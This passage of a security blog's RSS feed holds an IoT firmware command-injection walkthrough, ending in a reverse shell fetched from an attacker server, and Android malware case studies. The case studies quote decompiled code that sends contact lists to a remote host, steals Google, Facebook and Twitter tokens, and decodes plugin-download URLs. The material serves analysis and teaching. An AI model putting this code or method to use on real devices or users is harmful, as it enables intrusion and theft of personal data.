            <content:encoded><![CDATA[<p>Data shows that only 5% of the CVE’s have publicly available exploits.<br>For the rest of them, we’re just left with CVE’s describing very brief information about the vulnerability &amp; it’s nature.<br>For exploiting such vulnerabilities, one is required to investigate this partially available information &amp; derive complete understanding of the vulnerability so as to exploit it.</p><p>We take an example of a widely used IoT device for which several CVE’s are publicly available but exploits were not during the time of it’s exploitation.</p><p><em>Disclaimer: With the publicly available exploitation details still hardly available, sensitive target related details are kept discreet to maintain the same.</em></p><p>We come across the CVE of the target IoT device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i5XVbzZ8hSWglLqYTtusWQ.png" /><figcaption>Publicly available CVE of IoT device with unavailable exploits</figcaption></figure><p>We acquire the firmware available for download from the official website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VUzeCxPj9WMO8iFgcbI7Xg.png" /><figcaption>Renamed &amp; Unzipped firmware file</figcaption></figure><p>The bin file requires further investigation. We use binwalk for the same as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7SKS3_lmDhanhTxBsHTNQ.png" /></figure><p>The files within bin file gets extracted in a folder as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TmHL76HeQ6bRir00OsZtyA.png" /></figure><p>Similar subsequent extractions result in retrieving all folders necessary for begin with the investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1TdDjN4RzjI2ZKntDP-4A.png" /></figure><p>We refer back the CVE description &amp; search for the mentioned vulnerable function within the extracted folders &amp; files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDm8HbgMQU1GDFj8uyJrqw.png" /></figure><p>Opening the above file shows us the function reference as below along with “getRemoteServerContent”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*_vyKQuqNjMMjGRMvWGWJMQ.png" /></figure><p>We search for this new reference to understand how the vulnerable functions handles the passed inputs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1NFOgKtP1vJAig1erQuYIA.png" /></figure><p>This we come across the function that handles the user inputs as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*Ir1myAJnqRi1wz1jxld_eA.png" /></figure><p>Cross checking with the below front-end we confirm that above function indeed handles the inputs passed from the below window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*__KzVWn8NWoclLHaA1ITJw.png" /></figure><p>Now next, Init.d folder contains several files which executes during the initiation. We hence investigate the files which initiate above functionalities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UgZ3x6wYgDBWn55LKBhxPw.png" /></figure><p>When we go through the main_wsgi.sh file, we come across below .pyc file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BPjItGODMK4fyU4DVCBZJw.png" /></figure><p>Further we come across several other .pyc files which can’t be read without de-compiling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0WR8gIryXk4DmTCf9N8i5w.png" /></figure><p>We de-compile the .pyc files using below tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-k5eTTHLa-wIL5yt4FgAzA.png" /></figure><p>De-compiling all .pyc files gives us back the .py files which can be referred for further investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1FQ3zDd9-6fWhr6-ry09Iw.png" /></figure><p>Now searching for vulnerable function mentioned in the CVE gives below results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fQX8D3dJ1KU-UJi4rIYWkQ.png" /></figure><p>Finally, thus we land upon the vulnerable function mentioned in CVE as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q8UCg_zUUCxBwojg_VhTfQ.png" /></figure><p>From above function we understand that input values are concatenated to use in executing the command. Hence, attacker can concatenate his own commands for execution upon the server.</p><p>Now with this understanding, lets proceed with exploitation of this vulnerability. We go back to our front-end &amp; pass the values as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1LTwchlJVXO1dplXvHo0g.png" /></figure><p>Intercepting the request in burpsuite gives us with below capture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sgv8TJ2P8apP7C-c96nF2A.png" /></figure><p>We prepare our payload which is to be concatenated along with the passed inputs as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*CBMmAV1Q764BAGEx3Suwpg.png" /></figure><p>The payload consists of reverse shell python file pulled from attacker’s server &amp; executed upon target IoT device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A3LVrC1g8phy03lWqHnTvw.png" /><figcaption>Reverse shell Python code</figcaption></figure><p>The attackers server hosts above reverse shell python file as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*l69JrauExoukGxuYcSLE6Q.png" /></figure><p>We embed the payload in the intercepted burp request as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*0MVuXDDsucMfq-BXNNmOFg.png" /></figure><p>As we see upon sending above request, the reverse shell python file gets pulled from attackers server as seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*fjXjKb1iSLnqxSwzsQpi_g.png" /></figure><p>Finally, we receive the reverse shell from the target IoT device as it’s firmware gets successfully exploited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*CfVJ2i1Bc1ZcHfx4N5mZew.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a71b30507f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phony Phones — Case Study 9]]></title>
            <link>https://medium.com/@purplesynapz/phony-phones-case-study-9-a16c3fb3b33f?source=rss-b8f8be7b39ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/a16c3fb3b33f</guid>
            <dc:creator><![CDATA[PurpleSynapz]]></dc:creator>
            <pubDate>Wed, 01 May 2024 10:27:31 GMT</pubDate>
            <atom:updated>2024-05-01T10:27:31.478Z</atom:updated>
            <content:encoded><![CDATA[<h3>Phony Phones — Case Study 9</h3><p><strong>Case Study 9: Gaming Apps:-</strong></p><p>Extracted from the app com.bestcoolfungames.cockroachsmasher (v10617, 52f2), the following code snippet illustrates how the OneAudience SDK employs reflection to access users’ Facebook and Twitter information. This capability arises because the Facebook and Twitter SDKs operate within the same app process as the OneAudience SDK. If a user has previously logged into Twitter or Facebook from within the app, the Twitter and Facebook SDKs retain their authentication tokens. OneAudience harvests these authentication tokens and clandestinely utilizes them to establish connections to the user’s Twitter and Facebook accounts, subsequently scraping personal information.</p><blockquote>public static String getFacebookAccessToken() {</blockquote><blockquote>Class[] v3_0 = new Class[0];</blockquote><blockquote>try {</blockquote><blockquote>Class v4_0 = Class.forName(“com.facebook.AccessToken”);</blockquote><blockquote>} catch (Exception v0_2) {</blockquote><blockquote>…</blockquote><blockquote>}</blockquote><blockquote>if (v4_0 == null) {</blockquote><blockquote>Method v0_5 = null; } else {</blockquote><blockquote>v0_5 = v4_0.getDeclaredMethod(“getCurrentAccessToken”, v3_0);</blockquote><blockquote>}</blockquote><blockquote>…</blockquote><blockquote>}</blockquote><blockquote>public String getSocialProfileJSON() {</blockquote><blockquote>String v0_0 = “”;</blockquote><blockquote>String v1_0 = com.oneaudience.sdk.c.a.getFacebookAccessToken();</blockquote><blockquote>if (v1_0 != null) {</blockquote><blockquote>com.oneaudience.sdk.c.a.b v0_4 = new com.oneaudience.sdk.b().send(</blockquote><blockquote>new com.oneaudience.sdk.i().getFacebookProfile(</blockquote><blockquote>this.context, this.oneaudienceSharedPreferences, v1_0));</blockquote><blockquote>…</blockquote><blockquote>}</blockquote><blockquote>Object v1_3 = com.oneaudience.sdk.c.h.talkToTwitter();</blockquote><blockquote>if (v1_3 == null) {</blockquote><blockquote>String v1_4 = “”;</blockquote><blockquote>} else {</blockquote><blockquote>v1_4 = this.extractJson(v1_3);</blockquote><blockquote>}</blockquote><blockquote>…</blockquote><blockquote>return this.extractJson(</blockquote><blockquote>new com.oneaudience.sdk.model.SocialData(v0_0, v1_4));</blockquote><blockquote>}</blockquote><blockquote><em>Listing: OneAudience uses reflection to access Twitter and Facebook authentication tokens.</em></blockquote><p>In addition to gathering Twitter and Facebook data, OneAudience extended its data collection to include a plethora of other sensitive information about the user. This encompassed email addresses, phone call history, contact lists, location data, installed applications, and a myriad of other data points.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a16c3fb3b33f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phony Phones — Case Study 7&8]]></title>
            <link>https://medium.com/@purplesynapz/phony-phones-case-study-7-8-294809c49de0?source=rss-b8f8be7b39ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/294809c49de0</guid>
            <dc:creator><![CDATA[PurpleSynapz]]></dc:creator>
            <pubDate>Sun, 21 Apr 2024 10:27:28 GMT</pubDate>
            <atom:updated>2024-04-21T10:27:28.713Z</atom:updated>
            <content:encoded><![CDATA[<h3>Phony Phones — Case Study 7&amp;8</h3><p><strong>Case Study 7: VPN Apps:-</strong></p><p>DressCode, a significant malware network uncovered by Check Point and detailed in an August 2016 blog post titled “DressCode Android Malware Discovered on Google Play,” devised an innovative method to generate revenue. It transformed compromised devices into nodes of a proxy botnet, enabling the malware authors to route traffic (such as abusive traffic for fraudulent ad clicks) through these devices to conceal its origins. DressCode applications implemented their malware functionality within a few classes. The authors repurposed sample code published in 2000 on CodeProject (<a href="https://www.codeproject.com/">https://www.codeproject.com</a>), augmenting it with additional classes to fulfill their proxying requirements. The following code listing showcases formatted code extracted from com.dark.kazy.goddess.lp (v1, d858). Upon establishing a connection to a preconfigured command-and-control server, the code interprets the text-based commands received from the server and initiates new proxy connections to other servers specified in the CREATE command.</p><blockquote>String line[] = lines[i];</blockquote><blockquote>if (!line.equals(“HELLO”)) {</blockquote><blockquote>if (!line.startsWith(“PING”)) {</blockquote><blockquote>if (!line.startsWith(“SLEEP”)) {</blockquote><blockquote>if (!line.startsWith(“WAIT”)) {</blockquote><blockquote>if (line.startsWith(“CREATE”)) {</blockquote><blockquote>String[] splitLine = line.split(“,”);</blockquote><blockquote>if (splitLine.length == 3) {</blockquote><blockquote>this.createConnection(</blockquote><blockquote>splitLine[1], Integer.valueOf(splitLine[2]).intValue());</blockquote><blockquote>}</blockquote><p>The mentioned app, com.dark.kazy.goddess.lp (v1, d858), illustrates how malware can interpret various proxy commands received from its command-and-control server. Once in control of a proxy botnet, malware authors have several avenues to profit. Beyond the previously mentioned method, they can sell botnet access to other criminal groups seeking to execute DDoS attacks, or they can convert infected devices into exit nodes for VPN providers.</p><p>Between 2016 and 2021, the VPN option emerged as one of the most prevalent forms of Android malware abuse. During these years, as user demand surged for personal VPN services, unscrupulous VPN companies capitalized on unwitting Android users. These companies developed proxy SDKs and compensated established Android developers to integrate them into their popular apps. Users who installed these apps with embedded SDKs unwittingly transformed their devices into endpoints for proxied network traffic. Notably, this occurred without disclosure to users. Similar to advertising fraud, leveraging VPNs represented a straightforward method to monetize Android malware. Proxy behavior remains just as concealed from users as click fraud and can persist for as long as apps with embedded proxy SDKs remain installed.</p><p><strong>Case Study 8: Another SDK facilitating easier App Development:-</strong></p><p>Snowfox, which compromised millions of Google accounts in 2015 and 2016, employed a different approach compared to traditional phishing methods. Instead of directly phishing users for their Google account credentials, these malware families stole Google account tokens from a secured portion of the Android operating system. These tokens granted the attackers complete control over a victim’s account, allowing them to access Gmail, Google Drive, Google Photos, and other services associated with the account.</p><p>Ordinary apps cannot access the area of the operating system housing Google account access tokens. To pilfer these tokens, third-party applications must elevate their privileges through an exploit or come preinstalled with elevated privileges already granted. Gooligan, for instance, accomplished both. Gooligan utilized multiple exploits to elevate its regular app privileges to root level. It then gathered device configuration information, transmitted it to its command-and-control server, and downloaded exploit plug-ins tailored to the specific device type.</p><p>Snowfox, named after its characteristic com.snowfox package name, surfaced after Gooligan. Unlike Gooligan, Snowfox did not download exploit plug-ins to root devices. Instead, it either came preinstalled on devices or relied on devices that were already rooted if sideloaded. Snowfox boasted extensive capabilities, featuring a sophisticated plug-in system that fetched additional code from its command-and-control server. Over 30 different plug-in files were observed, offering functionalities such as Google account token theft, advertising fraud, and the ability to download and install additional apps.</p><p>An example of a Snowfox app is com.zg.magicDrop (v1, 9097). After establishing encrypted communication with its command-and-control servers, this app downloads plug-ins like snowfox_v19n.jar containing malicious functionality. As demonstrated by the listing below, which exhibits the functionality utilized to steal Google account tokens. This process involves copying the Accounts database to a different location and then extracting the tokens using SQLite commands.</p><blockquote>com.snowfox.core.dy.util.DebugTool.info(</blockquote><blockquote>com.snowfox.core.dy.util.GpAccount.TAG,</blockquote><blockquote>new StringBuilder().append(“ngPref.getIsRootToken()===”)</blockquote><blockquote>.append(v4_0.getIsRootToken()).toString());</blockquote><blockquote>if (v4_0.getIsRootToken()) {</blockquote><blockquote>String v0_0 = com.snowfox.core.dy.util.GpAccount.copyConfigDb2SD(</blockquote><blockquote>context, “/data/system/users/”, v11_1, “accounts.db”);</blockquote><blockquote>v10_1.put(v0_0, com.snowfox.core.dy.util.GpAccount.readUserTokenNew(</blockquote><blockquote>context, v0_0));</blockquote><blockquote>…</blockquote><blockquote>android.database.Cursor v11_0 = v4_0.rawQuery(</blockquote><blockquote>new StringBuilder().append(</blockquote><blockquote>“select type, authtoken from authtokens where type “ +</blockquote><blockquote>“ like ‘com.android.vending%:androidmarket’ and accounts_id=”)</blockquote><blockquote>.append(v1_0).toString(), 0);</blockquote><blockquote>Listing: The app com.zg.magicDrop (v1, 9097) stealing Google account tokens</blockquote><p>Although VirusTotal’s anti-malware scan results associate snowfox_v19n.jar with Xinyinhe, another malware family developed by a Chinese company bearing the same name; The plug-in-based architecture common among many Chinese malware families complicates attribution efforts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=294809c49de0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phony Phones — Case Study 5&6]]></title>
            <link>https://medium.com/@purplesynapz/phony-phones-case-study-5-6-b61fd47eff73?source=rss-b8f8be7b39ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/b61fd47eff73</guid>
            <dc:creator><![CDATA[PurpleSynapz]]></dc:creator>
            <pubDate>Sat, 13 Apr 2024 22:22:02 GMT</pubDate>
            <atom:updated>2024-04-13T22:22:02.440Z</atom:updated>
            <content:encoded><![CDATA[<h3>Phony Phones — Case Study 5&amp;6</h3><p><strong>Case Study 5: An App popular across Japan:</strong></p><p>After a user launches a Dougaleaker app, for example jp.co.dougastation (v2, 83fd), the spyware functionality sends their contact list information to a web server.</p><blockquote>String v1_0 = jp.co.dougastation.util.PhoneUtil.getPref(this, “ALREADY_GET”);</blockquote><blockquote>if ((jp.co.dougastation.util.StringUtil.isEmpty(v1_0)) || (!v1_0.equals(“true”)))</blockquote><blockquote>{</blockquote><blockquote>String[] v3_5 = new String[2];</blockquote><blockquote>v3_5[0] = “http://i-hug.net&quot;;</blockquote><blockquote>v3_5[1] = “/appli/addressBookRegist”;</blockquote><blockquote>String v2_0 = jp.co.dougastation.util.StringUtil.addString(v3_5);</blockquote><blockquote>java.util.ArrayList v0_1 = new java.util.ArrayList();</blockquote><blockquote>v0_1.add(new BasicNameValuePair(“telNo”,</blockquote><blockquote>jp.co.dougastation.util.PhoneUtil.getTelNo(this)));</blockquote><blockquote>v0_1.add(new BasicNameValuePair(“individualNo”,</blockquote><blockquote>jp.co.dougastation.util.PhoneUtil.getIndividualNo(this)));</blockquote><blockquote>v0_1.add(new BasicNameValuePair(“simSerialNo”,</blockquote><blockquote>jp.co.dougastation.util.PhoneUtil.getSimSerialNo(this)));</blockquote><blockquote>v0_1.add(new BasicNameValuePair(“appliId”, “4”));</blockquote><blockquote>if (4 &gt;= jp.co.dougastation.util.PhoneUtil.getSdkVersion()) {</blockquote><blockquote>v0_1.add(new BasicNameValuePair(“addressBook”, this.getMailUnder4()));</blockquote><blockquote>} else {</blockquote><blockquote>v0_1.add(new BasicNameValuePair(“addressBook”,</blockquote><blockquote>jp.co.dougastation.util.AddressBookUtil.getAddressBookOver4(</blockquote><blockquote>this.getContentResolver())));</blockquote><blockquote>}</blockquote><blockquote>jp.co.dougastation.util.HttpUtil.doPost(v2_0, v0_1);</blockquote><p>Dougaleaker’s restricted spyware capabilities and focused targeting indicate its creation for a singular objective: to chart the social networks of individuals across Japan. Given the app’s extensive installation figures, it’s plausible that the developers achieved their aim.</p><p><strong>Case Study 6: Network of Apps:-</strong></p><p>Mid-sized networks demonstrated genuine innovation in their tactics. Some networks initiated takeovers of social media accounts on platforms like Instagram or the Russian social network VK by pilfering user credentials. Another network, Shuabang, engaged in the creation of numerous Gmail accounts to manipulate Google products.</p><p>Another network, known as Gaiaphish and detailed in the 2017 Android Security Year in Review report, employed phishing techniques to obtain Google account credentials. Furthermore, its applications dynamically loaded code to exploit various Google websites. For instance, skt.faker.world (v3, 936c) contained Base64-encoded URLs for downloading additional plug-in files aimed at Google’s advertising platforms, the social network Google+, and Google Play itself.</p><blockquote>static {</blockquote><blockquote>String[] v0_1 = new String[3];</blockquote><blockquote>v0_1[0] = “aHR0cDovL24yZm94LmNvbS9uZi9wbHVnaW5hcGs=”;</blockquote><blockquote>v0_1[1] = “aHR0cDovL3Bva2VyYWlyLmNvbS9uZi9wbHVnaW5hcGs=”;</blockquote><blockquote>v0_1[2] = “aHR0cDovL2l3YXNib3JudG9kaWUudXMvbmYvcGx1Z2luYXBr”;</blockquote><blockquote>com.google.dex.b.k = v0_1;</blockquote><blockquote>return;</blockquote><blockquote>}</blockquote><p><strong>Base64-encoded strings in skt.faker.world (v3, 936c):-</strong></p><p>The encoded strings shown here decode to the following URLs:</p><blockquote><a href="http://n2fox.com/nf/pluginapk">http://n2fox.com/nf/pluginapk</a></blockquote><blockquote><a href="http://pokerair.com/nf/pluginapk">http://pokerair.com/nf/pluginapk</a></blockquote><blockquote><a href="http://iwasborntodie.us/nf/pluginapk">http://iwasborntodie.us/nf/pluginapk</a></blockquote><p>The downloaded plug-in disguised its malicious operations under seemingly legitimate package names, such as com.google.android.* or com.google.dex.*. Configuration instructions were characterized by numerous parameters, and the following listing highlights a subset of these directives.</p><blockquote>name = ct</blockquote><blockquote>versionGLib = 16</blockquote><blockquote>debug = false</blockquote><blockquote>app = test</blockquote><blockquote>plusDelay = 10000000</blockquote><blockquote>bannerShow = 10000000</blockquote><blockquote>bannerHide = 10000000</blockquote><blockquote>bannerDelay = 10000000</blockquote><blockquote>banner = disable</blockquote><blockquote>interCheat = disable</blockquote><blockquote>bannerCheat = disable</blockquote><p>One entertaining feature of Gaiaphish is its incorporation of fake reviews within its apps, presumably for financial gain, to boost the popularity and credibility of other apps on Google Play. Gaiaphish samples contain numerous fake app reviews embedded as hardcoded strings, with the following listing presenting a small sample of these fabricated reviews.</p><blockquote>private String reviewContent(Context context, com.google.android.w2x.GReview</blockquote><blockquote>gReview) {</blockquote><blockquote>String[] v1_0 = vn.com.nfox.android.cst.Constant.getShared(context).</blockquote><blockquote>getString(“reviewContent”, “Love it very cute nice download it best game</blockquote><blockquote>ever #This is a pretty good game it is fun ;-) # I like this game so much</blockquote><blockquote>#This an amazing game# Thanks for the good game!!! # Lol this game is fun</blockquote><blockquote>and cute.# This is such a fun, cute and addictive game! I love it! #</blockquote><blockquote>like this game overall; its cute and fun to play.#Loved it I got it for</blockquote><blockquote>free# My cousin sis luvs it n its a great game 2 play…”).split(“#”);</blockquote><p>Listing: Fake Google Play user reviews taken from skt.faker.world (v3, 936c)</p><p>Android malware has a longstanding history of manipulating Google Play app rankings. Depending on its degree of criminality, malware resorts to various tactics, including posting fake reviews using phished Google accounts, automatically generating fake Google accounts, or employing farms of real devices operated by humans. The credibility of these ratings and comments directly correlates with their success in enticing unsuspecting users to download an app.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b61fd47eff73" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phony Phone — Case Study 3&4]]></title>
            <link>https://medium.com/@purplesynapz/phony-phone-case-study-3-4-ae748c07432d?source=rss-b8f8be7b39ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae748c07432d</guid>
            <dc:creator><![CDATA[PurpleSynapz]]></dc:creator>
            <pubDate>Sat, 06 Apr 2024 22:16:37 GMT</pubDate>
            <atom:updated>2024-04-06T22:16:37.339Z</atom:updated>
            <content:encoded><![CDATA[<h3>Phony Phone — Case Study 3&amp;4</h3><p><strong>Case Study 3: Camera Apps:-</strong></p><p>Collecting information about the device’s country and mobile carrier, this malware family often masqueraded as camera apps or other system utilities. It then sent this data to a command-and-control server and received the phone number and SMS message text to send. This technique allowed the malware to operate in different countries and expand into new ones without the need to update the apps. The following list, extracted from com.batterypro (v4, 29ee), illustrates how this device profiling data was gathered.</p><blockquote>if (this.prefsWrapper.isFirstRun()) {</blockquote><blockquote>this.params.put(“pid”, this.getString(2131034134));</blockquote><blockquote>this.params.put(“pin”, String.valueOf(this.utils.getPin()));</blockquote><blockquote>this.params.put(“carrier”,</blockquote><blockquote>this.telephonyInfo.getTelephonyNetworkOperatorName().replaceAll(“\n”, “”));</blockquote><blockquote>this.params.put(“imei”, this.telephonyInfo.getTelephonyIMEI());</blockquote><blockquote>this.params.put(“market”, “1”);</blockquote><blockquote>this.params.put(“cc”,</blockquote><blockquote>this.telephonyInfo.getTelephonyNetworkOperator());</blockquote><blockquote>this.params.put(“appurl”, this.getString(2131034135));</blockquote><blockquote>}</blockquote><p><strong>Case Study 4: SDK used by Apps:-</strong></p><p>Embedded within apparently legitimate apps originating from Vietnam, Cricketland served as an SDK. Operative without user consent, the SDK clandestinely transmitted the user’s contact list data to a remote server. Upon initialization by an app featuring Cricketland, the SDK gathered assorted information and promptly uploaded it to a webpage hosted on Google Drive. One instance of an app incorporating the Cricketland SDK was masteryourgames.amazingalextoolbox (v12, c4f0), showcasing its data collection code, delineated in the listing.</p><blockquote>net.cricketland.android.lib.report.CReportField[] v0_4 =</blockquote><blockquote>new net.cricketland.android.lib.report.CReportField[17];</blockquote><blockquote>v0_4[0] = net.cricketland.android.lib.report.CReportField.DEVICE_ID;</blockquote><blockquote>v0_4[1] = net.cricketland.android.lib.report.CReportField.UUID;</blockquote><blockquote>v0_4[2] = net.cricketland.android.lib.report.CReportField.PACKAGE_NAME;</blockquote><blockquote>v0_4[3] = net.cricketland.android.lib.report.CReportField.VERSION_CODE;</blockquote><blockquote>v0_4[4] = net.cricketland.android.lib.report.CReportField.IP;</blockquote><blockquote>v0_4[5] = net.cricketland.android.lib.report.CReportField.PHONE;</blockquote><blockquote>v0_4[6] = net.cricketland.android.lib.report.CReportField.ACCOUNTS;</blockquote><blockquote>v0_4[7] = net.cricketland.android.lib.report.CReportField.CONTACTS;</blockquote><blockquote>v0_4[8] = net.cricketland.android.lib.report.CReportField.LOCALE;</blockquote><blockquote>v0_4[9] = net.cricketland.android.lib.report.CReportField.LOCATION;</blockquote><blockquote>v0_4[10] = net.cricketland.android.lib.report.CReportField.SDK;</blockquote><blockquote>v0_4[11] = net.cricketland.android.lib.report.CReportField.BUILD;</blockquote><blockquote>v0_4[12] = net.cricketland.android.lib.report.CReportField.CPU;</blockquote><blockquote>v0_4[13] = net.cricketland.android.lib.report.CReportField.MEM;</blockquote><blockquote>v0_4[14] = net.cricketland.android.lib.report.CReportField.DISPLAY;</blockquote><blockquote>v0_4[15] = net.cricketland.android.lib.report.CReportField.FEATURES;</blockquote><blockquote>v0_4[16] = net.cricketland.android.lib.report.CReportField.PACKAGES;</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae748c07432d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>